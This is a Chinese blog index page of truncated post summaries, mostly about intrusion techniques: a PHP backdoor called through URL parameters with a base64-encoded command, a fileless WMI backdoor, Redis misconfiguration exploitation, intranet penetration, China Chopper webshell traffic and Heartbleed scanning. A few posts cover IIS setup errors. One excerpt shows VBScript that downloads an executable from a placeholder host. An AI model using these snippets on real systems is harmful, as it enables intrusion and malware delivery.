anything的博客

摘要： 作者：dean用方法参数 id :需要执行的函数参数catid : 函数的参数(需要用base_64encode函数转一下)例如:http://www.php0.net/test.php?id=system&catid=Y3VybCBodHRwOi8vbG9jYWxob3N0L20udHh0ID4y... 阅读全文

摘要： Abusing WMI to Build a Persistent, Asynchronous, and Fileless Backdoor滥用 WMI 打造一个永久、异步、无文件后门http://dwz.cn/1fffBI(pdf) #Blackhat2015WMI - Windows Manag... 阅读全文

摘要： 服务器配置不当包括三个部分:1.Redis服务使用ROOT账号启动2.Redis服务无密码认证或者使用的是弱口令进行认证3.服务器开放了SSH服务，而且允许使用密钥登录简单的写下过程测试环境victim server CentOS6.6 192.168.1.11attack server CentO... 阅读全文

摘要： Set xPost = createObject("Microsoft.XMLHTTP")xPost.Open "GET","http://www.xx.com/dc.exe",0 '下载文件的地址xPost.Send()Set sGet = createObject("ADODB.Stream")... 阅读全文

摘要： 1.收集信息。1-1.无论是什么途径获得的内网机器，确定他在内网后，我们首先就要了解这台机器的所属人员，如果我们的目标是公司，那我们就要了解这个人在公司里的职位，他是个什么身份，有多大的权利，这都关系到他在内网里的权限。因为，作为大公司，一个高权限的人他在内网里所要用到的东西就多，那么相对他的机器，... 阅读全文

摘要： 用了菜刀用了也有一段时间了，感觉挺神奇了，这里做一个小小的探究吧，起始也就是用鲨鱼抓包看看软件是怎么通信实现的，不敢卖弄知识，权当学习笔记了，大神路过呵呵这货就是主界面，环境啥的就随意了，IIS，阿帕奇，阿金科斯都可以，我这里用apache，因为之前搞的是PHP开发，对PHP相对比较熟悉，随机就用P... 阅读全文

摘要： 统：win8环境：vs2012一：安装IIS比较win7的安装来说，多选了几个钩钩，不然会报错，偶就遇到这样的错误。控制面板-》程序和功能-》启动和关闭windows功能，钩钩图例：装好之后在控制面板的管理工具下面有这个打开IIs管理器浏览80端口的网站，会出现如下图片表明安装成功2：发布网站，右击... 阅读全文

摘要： 不久前重新安装了Windows7，在安装了VS2010 开发平台之后，将网站发布到IIS，访问发生如下错误：HTTP 错误 500.21 - Internal Server Error处理程序“NickLeeCallbackHandler”在其模块列表中有一个错误模块“ManagedPipeline... 阅读全文

摘要： “/CRM”应用程序中的服务器错误。配置错误说明: 在处理向该请求提供服务所需的配置文件时出错。请检查下面的特定错误详细信息并适当地修改配置文件。 分析器错误消息: 无法识别的属性“targetFramework”。请注意属性名称区分大小写。源错误: 行 24: 设置为 tr... 阅读全文

摘要： 转自：http://www.lijiejie.com/openssl-heartbleed-attack/ OpenSSL Heartbleed漏洞的公开和流行让许多人兴奋了一把，也让另一些人惊慌了一把。单纯从攻击的角度讲，我已知道的，网上公开的扫描工具有：1. Nmap脚本ssl-heartb... 阅读全文